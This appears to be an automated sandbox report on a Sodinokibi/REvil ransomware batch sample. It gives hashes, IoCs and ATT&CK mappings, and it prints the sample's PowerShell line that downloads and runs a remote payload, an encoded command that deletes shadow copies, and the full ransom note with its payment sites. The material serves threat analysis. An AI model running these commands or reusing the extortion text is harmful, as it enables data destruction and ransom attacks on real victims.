sodinokibi | 4167595a02a41357a7cb611b831f74f802ce747c124913fefe76789babbf1c40

General

Target

df9ae1ee4f2b0aa1f7a2e70779f9dbd4.bat
Size

222B
MD5

19b3b3791a8bb6e48fca9c29132a649e
SHA1

b03af91b377f63ab4d6c236a7f942643aa66498f
SHA256

4167595a02a41357a7cb611b831f74f802ce747c124913fefe76789babbf1c40
SHA512

f2e3d44f22f21c2a5d24013772ec273c510fc76ab32e6586125c22d968886198d2225138570153385fb94b06f0360e13a59fd7fe33fef2aa3c447e25554eac42

Score

10^/10

ransomware persistence sodinokibi

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/df9ae1ee4f2b0aa1f7a2e70779f9dbd4

Extracted

Path

C:\550tx9u8m-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 550tx9u8m. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C674556755EA6F06 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C674556755EA6F06 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 8i8ZccpRf/lmlSxpUlZDZ0cMgR20ejd1ZnlGGYVIDLTUH4PDIvD+O8bcLLAR6cKD 28j95QR/27qlOgTZyrT+IrSv5V72UWX+sdUaskNwsbcKBUS35EMfjVOgxt4WBOfA 1B0ZTeLi+X4wxMwzIqSbAMRk6vPLu4NGkeE3LOQLQx/zGwaHpp4ICIEyur8aLgom CDrgTWZwJy35WBw5m+coQUw5+ckSof/5JoYl3ZYUuzliZgu32WHweZr+vLaFHsD4 v/dkLDglHeHavVEsZDTriMqeB7pdLZGUpnaC7nngeW38ZJtLIBIrxqPYqi90eIjq xXxOM7eQB+LN3DxMZD5zVTnlg3FFw2Cb7OGaYAwf+pN2U48+HpIbUshfHg8UtFPD w52nbvCgUqu0CGmeeiNrW5704pG/r3RPhZ+7o+Bwu/tK3iMfaowLjGQvGhIPt1d7 jo32DrK+q80W9psOlMI+6VYmyLvFmjTH09sg0euxd58xcnKHy+HMkchOWfFPj53c xZrmC0rHn+/h++yR97ZmYVrLjSr69TmM1EG2P8UJDa1z00XQagjng0QBBW/tYHjF NtYD3iZ6CayvQ4WHGG21nm8kUZUhpaHINgfXlzR3y4BBkpb6A/e4GCjj96M/GGG5 pMY8MKpsTlWO6F+un+Pi0OyLqkZ6HycFPBn0srQWT5hLdcx3wJTCMO9omOsV3MeB 5s+WcNEbcU/zwV8HCSIDGn8P6jM4u/OVsXYftRJdgZhYoOkcuYRYPd6DKmPtpysC blmzTHaKsB3Mf9MpRTCpc+rTHocsBbrtXv+S6MtA/AnaJwlx2svVjz6GPGLxvpGc 7TPTDbYoe3jRUy6RQGmoJn8xzfqZXWzUlmva9+iqCPllrb9vLX9F4qeaRzHZ17Ao 4CCjWfFNbEhtuSYUoCnI37DUl0JYw1ckx7qun7dESYk36OwsmmudwhYHyvjHTGC6 CrDhs5hGXSDJgN98viqwsQFmEH5FQdq/Ps3rGdFdSDcQkWDlFORm5jEq+8n9BSjd qaHGnJXXcbFbL9UgWLrCBp6I+c4J0f4vZZZbv3WrIBmZAA3uLU2iYDZDRNawGCAw maDd+pNcvOZS93m0nuWvPwB9c0wtMNQE+bU4p6kJrVY7AqW2izZgvDKSox/NZDpO KjOilcOOgcEW4PD7HicFVIFthmYwQeOb5nbZ4rVxxG8hp4vYv9W1lj9d4WQSiQsN RS7U68UDQyGoOAJOLmPjH/zY5QGtGVF4kXGmrBjIRh0q38Ns4B8oPwG9VzQKoAY+ bvZrSJU+m2OjEMtsp6EvnnFsj5dzp58wqiXpQoD1u91XXOIwHrQ= ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C674556755EA6F06

http://decryptor.cc/C674556755EA6F06

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Blacklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 796 powershell.exe
Enumerates connected drives 3 TTPs

Query Registry
T1012

Peripheral Device Discovery
T1120

System Information Discovery
T1082

flow	pid	process
3	796	powershell.exe

Modifies service 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

vssvc.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

powershell.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2090973689-680783404-4292415065-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\n1wi3xp24r0.bmp"	powershell.exe

Drops file in Program Files directory 38 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	\??\c:\program files\MountRestore.xltm	powershell.exe
File opened for modification	\??\c:\program files\UndoInstall.xhtml	powershell.exe
File opened for modification	\??\c:\program files\UseRedo.ogg	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\550tx9u8m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DebugSuspend.mp2v	powershell.exe
File opened for modification	\??\c:\program files\PopFormat.midi	powershell.exe
File opened for modification	\??\c:\program files\RestoreReset.odp	powershell.exe
File opened for modification	\??\c:\program files\UndoConfirm.tif	powershell.exe
File opened for modification	\??\c:\program files\UnprotectSuspend.vbe	powershell.exe
File opened for modification	\??\c:\program files\UnpublishSuspend.kix	powershell.exe
File opened for modification	\??\c:\program files\UnregisterLimit.mp2	powershell.exe
File opened for modification	\??\c:\program files\ConvertRead.pps	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\desktop\550tx9u8m-readme.txt	powershell.exe
File created	\??\c:\program files (x86)\550tx9u8m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ClearInvoke.m1v	powershell.exe
File opened for modification	\??\c:\program files\CompleteDebug.wmv	powershell.exe
File opened for modification	\??\c:\program files\ResolveBlock.jpg	powershell.exe
File opened for modification	\??\c:\program files\ResolveReceive.inf	powershell.exe
File opened for modification	\??\c:\program files\UnprotectPop.crw	powershell.exe
File created	\??\c:\program files\550tx9u8m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\DismountUnblock.xsl	powershell.exe
File opened for modification	\??\c:\program files\GroupConvertTo.tiff	powershell.exe
File opened for modification	\??\c:\program files\ResumeCompress.jtx	powershell.exe
File opened for modification	\??\c:\program files\SubmitDisconnect.contact	powershell.exe
File opened for modification	\??\c:\program files\TraceStep.tmp	powershell.exe
File opened for modification	\??\c:\program files\UseEdit.odt	powershell.exe
File created	\??\c:\program files\microsoft sql server compact edition\v3.5\550tx9u8m-readme.txt	powershell.exe
File opened for modification	\??\c:\program files\ConnectOpen.mpv2	powershell.exe
File opened for modification	\??\c:\program files\MeasureMove.wmf	powershell.exe
File opened for modification	\??\c:\program files\ClearEdit.xls	powershell.exe
File opened for modification	\??\c:\program files\StartGrant.txt	powershell.exe
File opened for modification	\??\c:\program files\ExportUnblock.xml	powershell.exe
File opened for modification	\??\c:\program files\JoinOpen.xla	powershell.exe
File opened for modification	\??\c:\program files\CheckpointWait.mp4v	powershell.exe
File opened for modification	\??\c:\program files\RegisterConfirm.csv	powershell.exe
File opened for modification	\??\c:\program files\SaveInvoke.mhtml	powershell.exe
File opened for modification	\??\c:\program files\SyncSplit.mid	powershell.exe
File opened for modification	\??\c:\program files\GetGrant.pptx	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

796 powershell.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exe

pid process

796 powershell.exe
796 powershell.exe
796 powershell.exe
1876 powershell.exe
1876 powershell.exe

pid	process
796	powershell.exe

pid	process
796	powershell.exe
796	powershell.exe
796	powershell.exe
1876	powershell.exe
1876	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

Processes:

powershell.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	796	powershell.exe
Token: SeDebugPrivilege	1876	powershell.exe
Token: SeBackupPrivilege	1540	vssvc.exe
Token: SeRestorePrivilege	1540	vssvc.exe
Token: SeAuditPrivilege	1540	vssvc.exe
Token: SeTakeOwnershipPrivilege	796	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

cmd.exepowershell.exe

description	pid	process	target process
PID 540 wrote to memory of 796	540	cmd.exe	powershell.exe
PID 540 wrote to memory of 796	540	cmd.exe	powershell.exe
PID 540 wrote to memory of 796	540	cmd.exe	powershell.exe
PID 540 wrote to memory of 796	540	cmd.exe	powershell.exe
PID 796 wrote to memory of 1876	796	powershell.exe	powershell.exe
PID 796 wrote to memory of 1876	796	powershell.exe	powershell.exe
PID 796 wrote to memory of 1876	796	powershell.exe	powershell.exe
PID 796 wrote to memory of 1876	796	powershell.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\df9ae1ee4f2b0aa1f7a2e70779f9dbd4.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/df9ae1ee4f2b0aa1f7a2e70779f9dbd4');Invoke-DWFHDKTAJZTPUIQ;Start-Sleep -s 10000"
2⤵
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:796

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1876

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
PID:1540

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_478c05f3-b801-4912-91bd-47646e127596

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4fd4a7fe-82f5-41e4-888c-1b7eac83ece7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a2ebb337-3027-47ef-8098-8d2e9f7615cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ca37ad88-4ce8-48e7-a2ed-ec10658dba29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e10aa6dc-f3ff-45e4-9eec-4fef42847693

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e1dd9aab-0fd1-4532-ba7f-00569c2741ef

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Download Submit
memory/796-5-0x0000000005280000-0x0000000005281000-memory.dmp

Filesize
4KB

Download
memory/796-21-0x00000000061F0000-0x00000000061F1000-memory.dmp

Filesize
4KB

Download
memory/796-22-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/796-14-0x0000000006220000-0x0000000006221000-memory.dmp

Filesize
4KB

Download
memory/796-13-0x0000000005730000-0x0000000005731000-memory.dmp

Filesize
4KB

Download
memory/796-8-0x0000000005640000-0x0000000005641000-memory.dmp

Filesize
4KB

Download
memory/796-0-0x0000000000000000-mapping.dmp

Download
memory/796-4-0x00000000010E0000-0x00000000010E1000-memory.dmp

Filesize
4KB

Download
memory/796-3-0x00000000047B0000-0x00000000047B1000-memory.dmp

Filesize
4KB

Download
memory/796-2-0x0000000000EF0000-0x0000000000EF1000-memory.dmp

Filesize
4KB

Download
memory/796-1-0x0000000074080000-0x000000007476E000-memory.dmp

Filesize
6.9MB

Download
memory/1876-23-0x0000000000000000-mapping.dmp

Download
memory/1876-25-0x0000000074080000-0x000000007476E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads